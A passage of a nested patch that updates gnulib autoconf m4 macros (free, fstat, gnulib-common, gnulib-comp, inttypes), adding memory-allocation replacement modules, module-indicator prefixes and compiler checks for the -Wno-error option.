++ #elif defined __OpenBSD__
++ #elif defined __sun
++ #else
++ #error "'free' is not known to preserve errno"
++ #endif
++ ]])],
++ [gl_cv_func_free_preserves_errno=yes],
++ [gl_cv_func_free_preserves_errno=no])
++ ])
++
++ case $gl_cv_func_free_preserves_errno in
++ *yes)
++ AC_DEFINE([HAVE_FREE_POSIX], [1],
++ [Define if the 'free' function is guaranteed to preserve errno.])
++ ;;
++ *) REPLACE_FREE=1 ;;
++ esac
++])
++
++# Prerequisites of lib/free.c.
++AC_DEFUN([gl_PREREQ_FREE], [:])
+--- a/gnulib/m4/fstat.m4
++++ b/gnulib/m4/fstat.m4
+@@ -1,4 +1,4 @@
+-# fstat.m4 serial 7
++# fstat.m4 serial 8
+ dnl Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -34,7 +34,7 @@ AC_DEFUN([gl_FUNC_FSTAT],
+
+ # Prerequisites of lib/fstat.c and lib/stat-w32.c.
+ AC_DEFUN([gl_PREREQ_FSTAT], [
+- AC_REQUIRE([gl_HEADER_SYS_STAT_H])
++ AC_REQUIRE([gl_SYS_STAT_H])
+ AC_REQUIRE([gl_PREREQ_STAT_W32])
+ :
+ ])
+--- a/gnulib/m4/gnulib-common.m4
++++ b/gnulib/m4/gnulib-common.m4
+@@ -1,4 +1,4 @@
+-# gnulib-common.m4 serial 63
++# gnulib-common.m4 serial 66
+ dnl Copyright (C) 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -357,6 +357,16 @@ AC_DEFUN([gl_COMMON_BODY], [
+ export LIBC_FATAL_STDERR_
+ ])
+
++# gl_MODULE_INDICATOR_INIT_VARIABLE([variablename])
++# gl_MODULE_INDICATOR_INIT_VARIABLE([variablename], [initialvalue])
++# initializes the shell variable that indicates the presence of the given module
++# as a C preprocessor expression.
++AC_DEFUN([gl_MODULE_INDICATOR_INIT_VARIABLE],
++[
++ GL_MODULE_INDICATOR_PREFIX[]_[$1]=m4_if([$2], , [0], [$2])
++ AC_SUBST(GL_MODULE_INDICATOR_PREFIX[]_[$1])
++])
++
+ # gl_MODULE_INDICATOR_CONDITION
+ # expands to a C preprocessor expression that evaluates to 1 or 0, depending
+ # whether a gnulib module that has been requested shall be considered present
+@@ -369,9 +379,9 @@ m4_define([gl_MODULE_INDICATOR_CONDITION
+ AC_DEFUN([gl_MODULE_INDICATOR_SET_VARIABLE],
+ [
+ gl_MODULE_INDICATOR_SET_VARIABLE_AUX(
+- [GNULIB_[]m4_translit([[$1]],
+- [abcdefghijklmnopqrstuvwxyz./-],
+- [ABCDEFGHIJKLMNOPQRSTUVWXYZ___])],
++ [GL_MODULE_INDICATOR_PREFIX[]_GNULIB_[]m4_translit([[$1]],
++ [abcdefghijklmnopqrstuvwxyz./-],
++ [ABCDEFGHIJKLMNOPQRSTUVWXYZ___])],
+ [gl_MODULE_INDICATOR_CONDITION])
+ ])
+
+@@ -656,6 +666,72 @@ AC_DEFUN([gl_CACHE_VAL_SILENT],
+ ])
+ ])
+
++# gl_CC_ALLOW_WARNINGS
++# sets and substitutes a variable GL_CFLAG_ALLOW_WARNINGS, to a $(CC) option
++# that reverts a preceding '-Werror' option, if available.
++# This is expected to be '-Wno-error' on gcc, clang (except clang/MSVC), xlclang
++# and empty otherwise.
++AC_DEFUN([gl_CC_ALLOW_WARNINGS],
++[
++ AC_REQUIRE([AC_PROG_CC])
++ AC_CACHE_CHECK([for C compiler option to allow warnings],
++ [gl_cv_cc_wallow],
++ [rm -f conftest*
++ echo 'int dummy;' > conftest.c
++ AC_TRY_COMMAND([${CC-cc} $CFLAGS $CPPFLAGS -c conftest.c 2>conftest1.err]) >/dev/null
++ AC_TRY_COMMAND([${CC-cc} $CFLAGS $CPPFLAGS -Wno-error -c conftest.c 2>conftest2.err]) >/dev/null
++ dnl Test the number of error output lines, because AIX xlc accepts the
++ dnl option '-Wno-error', just to produce a warning
++ dnl "Option -Wno-error was incorrectly specified. The option will be ignored."
++ dnl afterwards.
++ if test $? = 0 && test `wc -l < conftest1.err` = `wc -l < conftest2.err`; then
++ gl_cv_cc_wallow='-Wno-error'
++ else
++ gl_cv_cc_wallow=none
++ fi
++ rm -f conftest*
++ ])
++ case "$gl_cv_cc_wallow" in
++ none) GL_CFLAG_ALLOW_WARNINGS='' ;;
++ *) GL_CFLAG_ALLOW_WARNINGS="$gl_cv_cc_wallow" ;;
++ esac
++ AC_SUBST([GL_CFLAG_ALLOW_WARNINGS])
++])
++
++# gl_CXX_ALLOW_WARNINGS
++# sets and substitutes a variable GL_CXXFLAG_ALLOW_WARNINGS, to a $(CC) option
++# that reverts a preceding '-Werror' option, if available.
++AC_DEFUN([gl_CXX_ALLOW_WARNINGS],
++[
++ dnl Requires AC_PROG_CXX or gl_PROG_ANSI_CXX.
++ if test -n "$CXX" && test "$CXX" != no; then
++ AC_CACHE_CHECK([for C++ compiler option to allow warnings],
++ [gl_cv_cxx_wallow],
++ [rm -f conftest*
++ echo 'int dummy;' > conftest.cc
++ AC_TRY_COMMAND([${CXX-c++} $CXXFLAGS $CPPFLAGS -c conftest.cc 2>conftest1.err]) >/dev/null
++ AC_TRY_COMMAND([${CXX-c++} $CXXFLAGS $CPPFLAGS -Wno-error -c conftest.cc 2>conftest2.err]) >/dev/null
++ dnl Test the number of error output lines, because AIX xlC accepts the
++ dnl option '-Wno-error', just to produce a warning
++ dnl "Option -Wno-error was incorrectly specified. The option will be ignored."
++ dnl afterwards.
++ if test $? = 0 && test `wc -l < conftest1.err` = `wc -l < conftest2.err`; then
++ gl_cv_cxx_wallow='-Wno-error'
++ else
++ gl_cv_cxx_wallow=none
++ fi
++ rm -f conftest*
++ ])
++ case "$gl_cv_cxx_wallow" in
++ none) GL_CXXFLAG_ALLOW_WARNINGS='' ;;
++ *) GL_CXXFLAG_ALLOW_WARNINGS="$gl_cv_cxx_wallow" ;;
++ esac
++ else
++ GL_CXXFLAG_ALLOW_WARNINGS=''
++ fi
++ AC_SUBST([GL_CXXFLAG_ALLOW_WARNINGS])
++])
++
+ dnl Expands to some code for use in .c programs that, on native Windows, defines
+ dnl the Microsoft deprecated alias function names to the underscore-prefixed
+ dnl actual function names. With this macro, these function names are available
+--- a/gnulib/m4/gnulib-comp.m4
++++ b/gnulib/m4/gnulib-comp.m4
+@@ -51,6 +51,8 @@ AC_DEFUN([gl_EARLY],
+ # Code from module btowc:
+ # Code from module builtin-expect:
+ # Code from module c99:
++ # Code from module calloc-gnu:
++ # Code from module calloc-posix:
+ # Code from module cloexec:
+ # Code from module close:
+ # Code from module double-slash-root:
+@@ -66,6 +68,7 @@ AC_DEFUN([gl_EARLY],
+ # Code from module fd-hook:
+ # Code from module filename:
+ # Code from module float:
++ # Code from module free-posix:
+ # Code from module fstat:
+ # Code from module getdtablesize:
+ # Code from module getopt-gnu:
+@@ -74,7 +77,9 @@ AC_DEFUN([gl_EARLY],
+ # Code from module gettext-h:
+ # Code from module hard-locale:
+ # Code from module havelib:
++ # Code from module ialloc:
+ # Code from module iconv:
++ # Code from module idx:
+ # Code from module include_next:
+ # Code from module intprops:
+ # Code from module inttypes-incomplete:
+@@ -84,12 +89,14 @@ AC_DEFUN([gl_EARLY],
+ # Code from module langinfo:
+ # Code from module largefile:
+ AC_REQUIRE([AC_SYS_LARGEFILE])
++ AC_REQUIRE([gl_YEAR2038_EARLY])
+ # Code from module libc-config:
+ # Code from module limits-h:
+ # Code from module localcharset:
+ # Code from module locale:
+ # Code from module localeconv:
+ # Code from module lock:
++ # Code from module malloc-gnu:
+ # Code from module malloc-posix:
+ # Code from module malloca:
+ # Code from module mbchar:
+@@ -107,6 +114,7 @@ AC_DEFUN([gl_EARLY],
+ # Code from module memchr:
+ # Code from module mempcpy:
+ # Code from module memrchr:
++ # Code from module minmax:
+ # Code from module msvc-inval:
+ # Code from module msvc-nothrow:
+ # Code from module multiarch:
+@@ -114,6 +122,9 @@ AC_DEFUN([gl_EARLY],
+ # Code from module nocrash:
+ # Code from module open:
+ # Code from module pathmax:
++ # Code from module realloc-gnu:
++ # Code from module realloc-posix:
++ # Code from module reallocarray:
+ # Code from module regex:
+ # Code from module setlocale-null:
+ # Code from module size_max:
+@@ -189,6 +200,8 @@ AC_DEFUN([gl_INIT],
+ m4_pushdef([AC_LIBSOURCES], m4_defn([gl_LIBSOURCES]))
+ m4_pushdef([gl_LIBSOURCES_LIST], [])
+ m4_pushdef([gl_LIBSOURCES_DIR], [])
++ m4_pushdef([GL_MACRO_PREFIX], [gl])
++ m4_pushdef([GL_MODULE_INDICATOR_PREFIX], [GL])
+ gl_COMMON
+ gl_source_base='gnulib/lib'
+ gl_FUNC_ALLOCA
+@@ -196,6 +209,15 @@ AC_DEFUN([gl_INIT],
+ if test -n "$ARGZ_H"; then
+ AC_LIBOBJ([argz])
+ fi
++ gl_FUNC_CALLOC_GNU
++ if test $REPLACE_CALLOC = 1; then
++ AC_LIBOBJ([calloc])
++ fi
++ gl_FUNC_CALLOC_POSIX
++ if test $REPLACE_CALLOC = 1; then
++ AC_LIBOBJ([calloc])
++ fi
++ gl_STDLIB_MODULE_INDICATOR([calloc-posix])
+ gl_DOUBLE_SLASH_ROOT
+ gl_HEADER_ERRNO_H
+ gl_ERROR
+@@ -208,6 +230,7 @@ AC_DEFUN([gl_INIT],
+ AM_][XGETTEXT_OPTION([--flag=error_at_line:5:c-format])])
+ AC_REQUIRE([gl_EXTERN_INLINE])
+ gl_FCNTL_H
++ gl_FCNTL_H_REQUIRE_DEFAULTS
+ gl_FLOAT_H
+ if test $REPLACE_FLOAT_LDBL = 1; then
+ AC_LIBOBJ([float])
+@@ -223,10 +246,10 @@ AC_DEFUN([gl_INIT],
+ if test $REPLACE_GETOPT = 1; then
+ AC_LIBOBJ([getopt])
+ AC_LIBOBJ([getopt1])
+- dnl Arrange for unistd.h to include getopt.h.
+- GNULIB_GL_UNISTD_H_GETOPT=1
++ dnl Define the substituted variable GNULIB_UNISTD_H_GETOPT to 1.
++ gl_UNISTD_H_REQUIRE_DEFAULTS
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNISTD_H_GETOPT], [1])
+ fi
+- AC_SUBST([GNULIB_GL_UNISTD_H_GETOPT])
+ gl_UNISTD_MODULE_INDICATOR([getopt-posix])
+ gl_FUNC_GETPROGNAME
+ AC_SUBST([LIBINTL])
+@@ -236,6 +259,7 @@ AC_DEFUN([gl_INIT],
+ m4_ifdef([gl_ICONV_MODULE_INDICATOR],
+ [gl_ICONV_MODULE_INDICATOR([iconv])])
+ gl_INTTYPES_INCOMPLETE
++ gl_INTTYPES_H_REQUIRE_DEFAULTS
+ gl_FUNC_ISWBLANK
+ if test $HAVE_ISWCNTRL = 0 || test $REPLACE_ISWCNTRL = 1; then
+ :
+@@ -265,6 +289,15 @@ AC_DEFUN([gl_INIT],
+ gl_WCTYPE_MODULE_INDICATOR([iswxdigit])
+ AC_REQUIRE([gl_LARGEFILE])
+ gl_LIMITS_H
++ gl_FUNC_MALLOC_GNU
++ if test $REPLACE_MALLOC = 1; then
++ AC_LIBOBJ([malloc])
++ fi
++ AC_REQUIRE([gl_FUNC_MALLOC_POSIX])
++ if test $REPLACE_MALLOC = 1; then
++ AC_LIBOBJ([malloc])
++ fi
++ gl_STDLIB_MODULE_INDICATOR([malloc-posix])
+ gl_MALLOCA
+ gl_MBCHAR
+ gl_MBITER
+@@ -305,6 +338,7 @@ AC_DEFUN([gl_INIT],
+ gl_PREREQ_MEMRCHR
+ fi
+ gl_STRING_MODULE_INDICATOR([memrchr])
++ gl_MINMAX
+ gl_MULTIARCH
+ gl_FUNC_OPEN
+ if test $REPLACE_OPEN = 1; then
+@@ -312,6 +346,22 @@ AC_DEFUN([gl_INIT],
+ gl_PREREQ_OPEN
+ fi
+ gl_FCNTL_MODULE_INDICATOR([open])
++ gl_FUNC_REALLOC_GNU
++ if test $REPLACE_REALLOC = 1; then
++ AC_LIBOBJ([realloc])
++ fi
++ gl_FUNC_REALLOC_POSIX
++ if test $REPLACE_REALLOC = 1; then
++ AC_LIBOBJ([realloc])
++ fi
++ gl_STDLIB_MODULE_INDICATOR([realloc-posix])
++ gl_FUNC_REALLOCARRAY
++ if test $HAVE_REALLOCARRAY = 0 || test $REPLACE_REALLOCARRAY = 1; then
++ AC_LIBOBJ([reallocarray])
++ gl_PREREQ_REALLOCARRAY
++ fi
++ gl_MODULE_INDICATOR([reallocarray])
++ gl_STDLIB_MODULE_INDICATOR([reallocarray])
+ gl_REGEX
+ if test $ac_use_included_regex = yes; then
+ AC_LIBOBJ([regex])
+@@ -321,9 +371,35 @@ AC_DEFUN([gl_INIT],
+ gl_STDARG_H
+ AM_STDBOOL_H
+ gl_STDDEF_H
++ gl_STDDEF_H_REQUIRE_DEFAULTS
+ gl_STDINT_H
+ gl_STDIO_H
++ gl_STDIO_H_REQUIRE_DEFAULTS
++ dnl No need to create extra modules for these functions. Everyone who uses
++ dnl <stdio.h> likely needs them.
++ gl_STDIO_MODULE_INDICATOR([fscanf])
++ gl_MODULE_INDICATOR([fscanf])
++ gl_STDIO_MODULE_INDICATOR([scanf])
++ gl_MODULE_INDICATOR([scanf])
++ gl_STDIO_MODULE_INDICATOR([fgetc])
++ gl_STDIO_MODULE_INDICATOR([getc])
++ gl_STDIO_MODULE_INDICATOR([getchar])
++ gl_STDIO_MODULE_INDICATOR([fgets])
++ gl_STDIO_MODULE_INDICATOR([fread])
++ dnl No need to create extra modules for these functions. Everyone who uses
++ dnl <stdio.h> likely needs them.
++ gl_STDIO_MODULE_INDICATOR([fprintf])
++ gl_STDIO_MODULE_INDICATOR([printf])
++ gl_STDIO_MODULE_INDICATOR([vfprintf])
++ gl_STDIO_MODULE_INDICATOR([vprintf])
++ gl_STDIO_MODULE_INDICATOR([fputc])
++ gl_STDIO_MODULE_INDICATOR([putc])
++ gl_STDIO_MODULE_INDICATOR([putchar])
++ gl_STDIO_MODULE_INDICATOR([fputs])
++ gl_STDIO_MODULE_INDICATOR([puts])
++ gl_STDIO_MODULE_INDICATOR([fwrite])
+ gl_STDLIB_H
++ gl_STDLIB_H_REQUIRE_DEFAULTS
+ gl_STRCASE
+ if test $HAVE_STRCASECMP = 0; then
+ AC_LIBOBJ([strcasecmp])
+@@ -356,8 +432,10 @@ AC_DEFUN([gl_INIT],
+ fi
+ gl_MODULE_INDICATOR([strerror])
+ gl_STRING_MODULE_INDICATOR([strerror])
+- gl_HEADER_STRING_H
+- gl_HEADER_STRINGS_H
++ gl_STRING_H
++ gl_STRING_H_REQUIRE_DEFAULTS
++ gl_STRINGS_H
++ gl_STRINGS_H_REQUIRE_DEFAULTS
+ gl_FUNC_STRNLEN
+ if test $HAVE_DECL_STRNLEN = 0 || test $REPLACE_STRNLEN = 1; then
+ AC_LIBOBJ([strnlen])
+@@ -365,10 +443,27 @@ AC_DEFUN([gl_INIT],
+ fi
+ gl_STRING_MODULE_INDICATOR([strnlen])
+ gl_SYS_TYPES_H
++ gl_SYS_TYPES_H_REQUIRE_DEFAULTS
+ AC_PROG_MKDIR_P
+ gl_UNISTD_H
+- gl_LIBUNISTRING_LIBHEADER([0.9.4], [unitypes.h])
+- gl_LIBUNISTRING_LIBHEADER([0.9.4], [uniwidth.h])
++ gl_UNISTD_H_REQUIRE_DEFAULTS
++ gl_LIBUNISTRING_LIBHEADER([0.9.11], [unitypes.h])
++ AH_VERBATIM([unitypes_restrict], [
++ /* This definition is a duplicate of the one in unitypes.h.
++ It is here so that we can cope with an older version of unitypes.h
++ that does not contain this definition and that is pre-installed among
++ the public header files. */
++ # if defined __restrict \
++ || 2 < __GNUC__ + (95 <= __GNUC_MINOR__) \
++ || __clang_major__ >= 3
++ # define _UC_RESTRICT __restrict
++ # elif 199901L <= __STDC_VERSION__ || defined restrict
++ # define _UC_RESTRICT restrict
++ # else
++ # define _UC_RESTRICT
++ # endif
++ ])
++ gl_LIBUNISTRING_LIBHEADER([0.9.11], [uniwidth.h])
+ gl_LIBUNISTRING_MODULE([0.9.8], [uniwidth/width])
+ gl_FUNC_VASPRINTF
+ gl_STDIO_MODULE_INDICATOR([vasprintf])
+@@ -376,7 +471,9 @@ AC_DEFUN([gl_INIT],
+ [AM_][XGETTEXT_OPTION([--flag=asprintf:2:c-format])
+ AM_][XGETTEXT_OPTION([--flag=vasprintf:2:c-format])])
+ gl_WCHAR_H
++ gl_WCHAR_H_REQUIRE_DEFAULTS
+ gl_WCTYPE_H
++ gl_WCTYPE_H_REQUIRE_DEFAULTS
+ gl_FUNC_WCWIDTH
+ if test $HAVE_WCWIDTH = 0 || test $REPLACE_WCWIDTH = 1; then
+ AC_LIBOBJ([wcwidth])
+@@ -395,17 +492,16 @@ AC_DEFUN([gl_INIT],
+ gl_gnulib_enabled_dynarray=false
+ gl_gnulib_enabled_fcntl=false
+ gl_gnulib_enabled_43fe87a341d9b4b93c47c3ad819a5239=false
++ gl_gnulib_enabled_ef07dc4b3077c11ea9cef586db4e5955=false
+ gl_gnulib_enabled_fstat=false
+ gl_gnulib_enabled_getdtablesize=false
+ gl_gnulib_enabled_30838f5439487421042f2225bed3af76=false
+- gl_gnulib_enabled_intprops=false
+ gl_gnulib_enabled_langinfo=false
+ gl_gnulib_enabled_21ee726a3540c09237a8e70c0baf7467=false
+ gl_gnulib_enabled_localcharset=false
+ gl_gnulib_enabled_locale=false
+ gl_gnulib_enabled_localeconv=false
+ gl_gnulib_enabled_lock=false
+- gl_gnulib_enabled_ef455225c00f5049c808c2eda3e76866=false
+ gl_gnulib_enabled_mbtowc=false
+ gl_gnulib_enabled_mempcpy=false
+ gl_gnulib_enabled_f691f076f650964c9f5598c3ee487616=false
+@@ -506,8 +602,9 @@ AC_DEFUN([gl_INIT],
+ func_gl_gnulib_m4code_dynarray ()
+ {
+ if ! $gl_gnulib_enabled_dynarray; then
++ AC_PROG_MKDIR_P
+ gl_gnulib_enabled_dynarray=true
+- func_gl_gnulib_m4code_intprops
++ func_gl_gnulib_m4code_37f71b604aa9c54446783d80f42fe547
+ func_gl_gnulib_m4code_21ee726a3540c09237a8e70c0baf7467
+ fi
+ }
+@@ -540,6 +637,18 @@ AC_DEFUN([gl_INIT],
+ gl_gnulib_enabled_43fe87a341d9b4b93c47c3ad819a5239=true
+ fi
+ }
++ func_gl_gnulib_m4code_ef07dc4b3077c11ea9cef586db4e5955 ()
++ {
++ if ! $gl_gnulib_enabled_ef07dc4b3077c11ea9cef586db4e5955; then
++ gl_FUNC_FREE
++ if test $REPLACE_FREE = 1; then
++ AC_LIBOBJ([free])
++ gl_PREREQ_FREE
++ fi
++ gl_STDLIB_MODULE_INDICATOR([free-posix])
++ gl_gnulib_enabled_ef07dc4b3077c11ea9cef586db4e5955=true
++ fi
++ }
+ func_gl_gnulib_m4code_fstat ()
+ {
+ if ! $gl_gnulib_enabled_fstat; then
+@@ -595,16 +704,11 @@ AC_DEFUN([gl_INIT],
+ func_gl_gnulib_m4code_e7e881d32ca02f1c997b13c737c64bbd
+ fi
+ }
+- func_gl_gnulib_m4code_intprops ()
+- {
+- if ! $gl_gnulib_enabled_intprops; then
+- gl_gnulib_enabled_intprops=true
+- fi
+- }
+ func_gl_gnulib_m4code_langinfo ()
+ {
+ if ! $gl_gnulib_enabled_langinfo; then
+ gl_LANGINFO_H
++ gl_LANGINFO_H_REQUIRE_DEFAULTS
+ gl_gnulib_enabled_langinfo=true
+ fi
+ }
+@@ -629,6 +733,7 @@ AC_DEFUN([gl_INIT],
+ {
+ if ! $gl_gnulib_enabled_locale; then
+ gl_LOCALE_H
++ gl_LOCALE_H_REQUIRE_DEFAULTS
+ gl_gnulib_enabled_locale=true
+ fi
+ }
+@@ -666,18 +771,6 @@ AC_DEFUN([gl_INIT],
+ fi
+ fi
+ }
+- func_gl_gnulib_m4code_ef455225c00f5049c808c2eda3e76866 ()
+- {
+- if ! $gl_gnulib_enabled_ef455225c00f5049c808c2eda3e76866; then
+- gl_FUNC_MALLOC_POSIX
+- if test $REPLACE_MALLOC = 1; then
+- AC_LIBOBJ([malloc])
+- fi
+- gl_STDLIB_MODULE_INDICATOR([malloc-posix])
+- gl_MODULE_INDICATOR([malloc-posix])
+- gl_gnulib_enabled_ef455225c00f5049c808c2eda3e76866=true
+- fi
+- }
+ func_gl_gnulib_m4code_mbtowc ()
+ {
+ if ! $gl_gnulib_enabled_mbtowc; then
+@@ -803,7 +896,6 @@ AC_DEFUN([gl_INIT],
+ gl_STAT_TIME
+ gl_STAT_BIRTHTIME
+ gl_gnulib_enabled_0137e3d3638b33e5819d132d0b23165c=true
+- func_gl_gnulib_m4code_intprops
+ func_gl_gnulib_m4code_time
+ fi
+ }
+@@ -870,7 +962,8 @@ AC_DEFUN([gl_INIT],
+ func_gl_gnulib_m4code_sys_stat ()
+ {
+ if ! $gl_gnulib_enabled_sys_stat; then
+- gl_HEADER_SYS_STAT_H
++ gl_SYS_STAT_H
++ gl_SYS_STAT_H_REQUIRE_DEFAULTS
+ AC_PROG_MKDIR_P
+ gl_gnulib_enabled_sys_stat=true
+ func_gl_gnulib_m4code_time
+@@ -886,7 +979,8 @@ AC_DEFUN([gl_INIT],
+ func_gl_gnulib_m4code_time ()
+ {
+ if ! $gl_gnulib_enabled_time; then
+- gl_HEADER_TIME_H
++ gl_TIME_H
++ gl_TIME_H_REQUIRE_DEFAULTS
+ gl_gnulib_enabled_time=true
+ fi
+ }
+@@ -897,6 +991,7 @@ AC_DEFUN([gl_INIT],
+ gl_FUNC_VASNPRINTF
+ gl_gnulib_enabled_vasnprintf=true
+ func_gl_gnulib_m4code_attribute
++ func_gl_gnulib_m4code_ef07dc4b3077c11ea9cef586db4e5955
+ func_gl_gnulib_m4code_xsize
+ fi
+ }
+@@ -1002,6 +1097,9 @@ AC_DEFUN([gl_INIT],
+ if test $REPLACE_OPEN = 1; then
+ func_gl_gnulib_m4code_stat
+ fi
++ if test $REPLACE_REALLOC = 1; then
++ func_gl_gnulib_m4code_ef07dc4b3077c11ea9cef586db4e5955
++ fi
+ if test $ac_use_included_regex = yes; then
+ func_gl_gnulib_m4code_attribute
+ fi
+@@ -1015,9 +1113,6 @@ AC_DEFUN([gl_INIT],
+ func_gl_gnulib_m4code_dynarray
+ fi
+ if test $ac_use_included_regex = yes; then
+- func_gl_gnulib_m4code_intprops
+- fi
+- if test $ac_use_included_regex = yes; then
+ func_gl_gnulib_m4code_langinfo
+ fi
+ if test $ac_use_included_regex = yes; then
+@@ -1032,12 +1127,6 @@ AC_DEFUN([gl_INIT],
+ if test $ac_use_included_regex = yes; then
+ func_gl_gnulib_m4code_wcrtomb
+ fi
+- if test $REPLACE_STRDUP = 1; then
+- func_gl_gnulib_m4code_ef455225c00f5049c808c2eda3e76866
+- fi
+- if test $REPLACE_STRERROR = 1; then
+- func_gl_gnulib_m4code_intprops
+- fi
+ if test $REPLACE_STRERROR = 1; then
+ func_gl_gnulib_m4code_dbb57f49352be8fb86869629a254fb72
+ fi
+@@ -1057,17 +1146,16 @@ AC_DEFUN([gl_INIT],
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_dynarray], [$gl_gnulib_enabled_dynarray])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_fcntl], [$gl_gnulib_enabled_fcntl])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_43fe87a341d9b4b93c47c3ad819a5239], [$gl_gnulib_enabled_43fe87a341d9b4b93c47c3ad819a5239])
++ AM_CONDITIONAL([gl_GNULIB_ENABLED_ef07dc4b3077c11ea9cef586db4e5955], [$gl_gnulib_enabled_ef07dc4b3077c11ea9cef586db4e5955])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_fstat], [$gl_gnulib_enabled_fstat])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_getdtablesize], [$gl_gnulib_enabled_getdtablesize])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_30838f5439487421042f2225bed3af76], [$gl_gnulib_enabled_30838f5439487421042f2225bed3af76])
+- AM_CONDITIONAL([gl_GNULIB_ENABLED_intprops], [$gl_gnulib_enabled_intprops])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_langinfo], [$gl_gnulib_enabled_langinfo])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_21ee726a3540c09237a8e70c0baf7467], [$gl_gnulib_enabled_21ee726a3540c09237a8e70c0baf7467])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_localcharset], [$gl_gnulib_enabled_localcharset])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_locale], [$gl_gnulib_enabled_locale])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_localeconv], [$gl_gnulib_enabled_localeconv])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_lock], [$gl_gnulib_enabled_lock])
+- AM_CONDITIONAL([gl_GNULIB_ENABLED_ef455225c00f5049c808c2eda3e76866], [$gl_gnulib_enabled_ef455225c00f5049c808c2eda3e76866])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_mbtowc], [$gl_gnulib_enabled_mbtowc])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_mempcpy], [$gl_gnulib_enabled_mempcpy])
+ AM_CONDITIONAL([gl_GNULIB_ENABLED_f691f076f650964c9f5598c3ee487616], [$gl_gnulib_enabled_f691f076f650964c9f5598c3ee487616])
+@@ -1105,6 +1193,8 @@ AC_DEFUN([gl_INIT],
+ m4_if(m4_sysval, [0], [],
+ [AC_FATAL([expected source file, required through AC_LIBSOURCES, not found])])
+ ])
++ m4_popdef([GL_MODULE_INDICATOR_PREFIX])
++ m4_popdef([GL_MACRO_PREFIX])
+ m4_popdef([gl_LIBSOURCES_DIR])
+ m4_popdef([gl_LIBSOURCES_LIST])
+ m4_popdef([AC_LIBSOURCES])
+@@ -1131,6 +1221,8 @@ AC_DEFUN([gl_INIT],
+ m4_pushdef([AC_LIBSOURCES], m4_defn([gltests_LIBSOURCES]))
+ m4_pushdef([gltests_LIBSOURCES_LIST], [])
+ m4_pushdef([gltests_LIBSOURCES_DIR], [])
++ m4_pushdef([GL_MACRO_PREFIX], [gltests])
++ m4_pushdef([GL_MODULE_INDICATOR_PREFIX], [GL])
+ gl_COMMON
+ gl_source_base='tests'
+ changequote(,)dnl
+@@ -1152,6 +1244,8 @@ changequote([, ])dnl
+ m4_if(m4_sysval, [0], [],
+ [AC_FATAL([expected source file, required through AC_LIBSOURCES, not found])])
+ ])
++ m4_popdef([GL_MODULE_INDICATOR_PREFIX])
++ m4_popdef([GL_MACRO_PREFIX])
+ m4_popdef([gltests_LIBSOURCES_DIR])
+ m4_popdef([gltests_LIBSOURCES_LIST])
+ m4_popdef([AC_LIBSOURCES])
+@@ -1247,6 +1341,7 @@ AC_DEFUN([gl_FILE_LIST], [
+ lib/basename-lgpl.h
+ lib/btowc.c
+ lib/c++defs.h
++ lib/calloc.c
+ lib/cdefs.h
+ lib/cloexec.c
+ lib/cloexec.h
+@@ -1266,6 +1361,7 @@ AC_DEFUN([gl_FILE_LIST], [
+ lib/float+.h
+ lib/float.c
+ lib/float.in.h
++ lib/free.c
+ lib/fstat.c
+ lib/getdtablesize.c
+ lib/getopt-cdefs.in.h
+@@ -1285,6 +1381,9 @@ AC_DEFUN([gl_FILE_LIST], [
+ lib/glthread/threadlib.c
+ lib/hard-locale.c
+ lib/hard-locale.h
++ lib/ialloc.c
++ lib/ialloc.h
++ lib/idx.h
+ lib/intprops.h
+ lib/inttypes.in.h
+ lib/iswblank.c
+@@ -1335,6 +1434,7 @@ AC_DEFUN([gl_FILE_LIST], [
+ lib/memchr.valgrind
+ lib/mempcpy.c
+ lib/memrchr.c
++ lib/minmax.h
+ lib/msvc-inval.c
+ lib/msvc-inval.h
+ lib/msvc-nothrow.c
+@@ -1347,6 +1447,8 @@ AC_DEFUN([gl_FILE_LIST], [
+ lib/printf-args.h
+ lib/printf-parse.c
+ lib/printf-parse.h
++ lib/realloc.c
++ lib/reallocarray.c
+ lib/regcomp.c
+ lib/regex.c
+ lib/regex.h
+@@ -1427,6 +1529,7 @@ AC_DEFUN([gl_FILE_LIST], [
+ m4/argz.m4
+ m4/btowc.m4
+ m4/builtin-expect.m4
++ m4/calloc.m4
+ m4/close.m4
+ m4/codeset.m4
+ m4/double-slash-root.m4
+@@ -1441,6 +1544,7 @@ AC_DEFUN([gl_FILE_LIST], [
+ m4/fcntl.m4
+ m4/fcntl_h.m4
+ m4/float_h.m4
++ m4/free.m4
+ m4/fstat.m4
+ m4/getdtablesize.m4
+ m4/getopt.m4
+@@ -1483,6 +1587,7 @@ AC_DEFUN([gl_FILE_LIST], [
+ m4/memchr.m4
+ m4/mempcpy.m4
+ m4/memrchr.m4
++ m4/minmax.m4
+ m4/mmap-anon.m4
+ m4/mode_t.m4
+ m4/msvc-inval.m4
+@@ -1498,6 +1603,8 @@ AC_DEFUN([gl_FILE_LIST], [
+ m4/pid_t.m4
+ m4/printf.m4
+ m4/pthread_rwlock_rdlock.m4
++ m4/realloc.m4
++ m4/reallocarray.m4
+ m4/regex.m4
+ m4/setlocale_null.m4
+ m4/size_max.m4
+@@ -1540,5 +1647,6 @@ AC_DEFUN([gl_FILE_LIST], [
+ m4/wint_t.m4
+ m4/xalloc.m4
+ m4/xsize.m4
++ m4/year2038.m4
+ m4/zzgnulib.m4
+ ])
+--- a/gnulib/m4/inttypes.m4
++++ b/gnulib/m4/inttypes.m4
+@@ -1,4 +1,4 @@
+-# inttypes.m4 serial 32
++# inttypes.m4 serial 35
+ dnl Copyright (C) 2006-2021 Free Software Foundation, Inc.
